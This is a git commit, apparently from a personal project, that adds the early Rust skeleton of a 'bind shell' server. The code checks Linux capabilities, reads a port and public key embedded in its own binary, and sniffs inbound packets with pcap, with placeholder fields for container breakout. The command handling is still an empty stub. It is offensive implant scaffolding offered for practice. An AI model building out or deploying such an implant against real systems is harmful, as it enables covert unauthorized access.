feat: adding a bind shell example with more stuff

adding a bind shell that can allow for more practice with future
features such as multiple transports, encryption, transferring files,
and a more robust client interface
This commit is contained in:
Andrew Rioux
2023-09-02 14:32:34 -04:00
parent 180b29531a
commit aecf1c9b80
21 changed files with 878 additions and 37 deletions

View File

@@ -0,0 +1,60 @@
use std::ffi::c_int;
use sparse_05_common::messages::{Capabilities, TransportType};
const CAP_SETUID: u32 = 1 << 7;
const CAP_NET_RAW: u32 = 1 << 13;
const SYS_capget: i64 = 125;
#[allow(non_camel_case_types)]
#[repr(C)]
#[derive(Debug)]
struct cap_user_header_t {
version: u32,
pid: c_int,
}
#[allow(non_camel_case_types)]
#[repr(C)]
#[derive(Debug)]
struct cap_user_data_t {
effective: u32,
permitted: u32,
inheritable: u32,
}
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
let mut header = cap_user_header_t {
version: 0x20080522,
pid: 0,
};
let mut data = cap_user_data_t {
effective: 0,
permitted: 0,
inheritable: 0,
};
let oscapabilities =
unsafe { libc::syscall(SYS_capget, &mut header as *const _, &mut data as *mut _) };
if oscapabilities == -1 {
return Err(std::io::Error::last_os_error())?;
}
let docker_container = false;
let docker_breakout = false;
let root = unsafe { libc::getuid() } == 0;
let setuid = data.effective & CAP_SETUID != 0;
let transport = if data.effective & CAP_NET_RAW != 0 || root {
TransportType::RawUdp
} else {
TransportType::Udp
};
Ok(Capabilities {
docker_container,
docker_breakout,
setuid,
root,
transport,
})
}

View File

@@ -0,0 +1,10 @@
use std::sync::mpsc::Sender;
use pcap_sys::packets::EthernetPacket;
#[derive(Clone)]
pub struct ConnectionHandle {}
pub fn spawn_connection_handler(packet_sender: Sender<EthernetPacket>) -> ConnectionHandle {
ConnectionHandle {}
}

View File

@@ -0,0 +1,37 @@
use std::{net::UdpSocket, sync::Arc};
pub enum Interface {
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>),
Udp(UdpSocket),
}
impl Interface {
pub fn split(self) -> (InterfaceSender, InterfaceReceiver) {
match self {
Self::RawUdp(interface) => {
let arc = Arc::new(interface);
(
InterfaceSender::RawUdp(Arc::clone(&arc)),
InterfaceReceiver::RawUdp(arc),
)
}
Self::Udp(interface) => {
let other = interface.try_clone().unwrap();
(
InterfaceSender::Udp(interface),
InterfaceReceiver::Udp(other),
)
}
}
}
}
pub enum InterfaceSender {
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
Udp(UdpSocket),
}
pub enum InterfaceReceiver {
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
Udp(UdpSocket),
}

View File

@@ -0,0 +1,96 @@
use std::{
collections::HashMap,
net::Ipv4Addr,
sync::{mpsc::channel, Arc},
thread,
};
use anyhow::{anyhow, bail, Context};
use connection::ConnectionHandle;
use ed25519_dalek::PublicKey;
use pcap_sys::packets::EthernetPacket;
use sparse_05_common::CONFIG_SEPARATOR;
mod capabilities;
mod connection;
mod interface;
fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_module_level("sparse-05-server", log::LevelFilter::Info)
.init()?;
let capabilities = capabilities::get_capabilities()?;
let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?;
if config_bytes.len() != 34 {
bail!("could not load configuration");
}
let (port, pubkey) = {
let port = u16::from_be_bytes(config_bytes[..2].try_into().unwrap());
let pubkey = PublicKey::from_bytes(&config_bytes[2..])
.context("could not parse public key from configuration")?;
(port, Arc::new(pubkey))
};
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("could not get an ethernet interface"))?;
let mut interface = loop {
macro_rules! retry {
($e:expr) => {{
match $e {
Ok(res) => res,
Err(e) => {
eprintln!(
"unable to open interface, sleeping for one second... ({:?})",
e
);
std::thread::sleep(std::time::Duration::from_millis(1000));
continue;
}
}
}};
}
let mut interface = retry!(pcap_sys::Interface::<pcap_sys::DevDisabled>::new(
&interface_name
));
retry!(interface.set_buffer_size(8192));
retry!(interface.set_non_blocking(false));
retry!(interface.set_promisc(false));
retry!(interface.set_timeout(10));
let mut interface = retry!(interface.activate());
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not properly support ethernet");
}
break Arc::new(interface);
};
let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new();
let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>();
{
let interface = Arc::clone(&interface);
thread::spawn(move || loop {
let Ok(packet) = recv_eth_packet.recv() else { continue };
if let Err(_) = interface.sendpacket(packet.pkt()) {}
});
}
interface.listen(move |_, _| Ok(false), false, -1);
Ok(())
}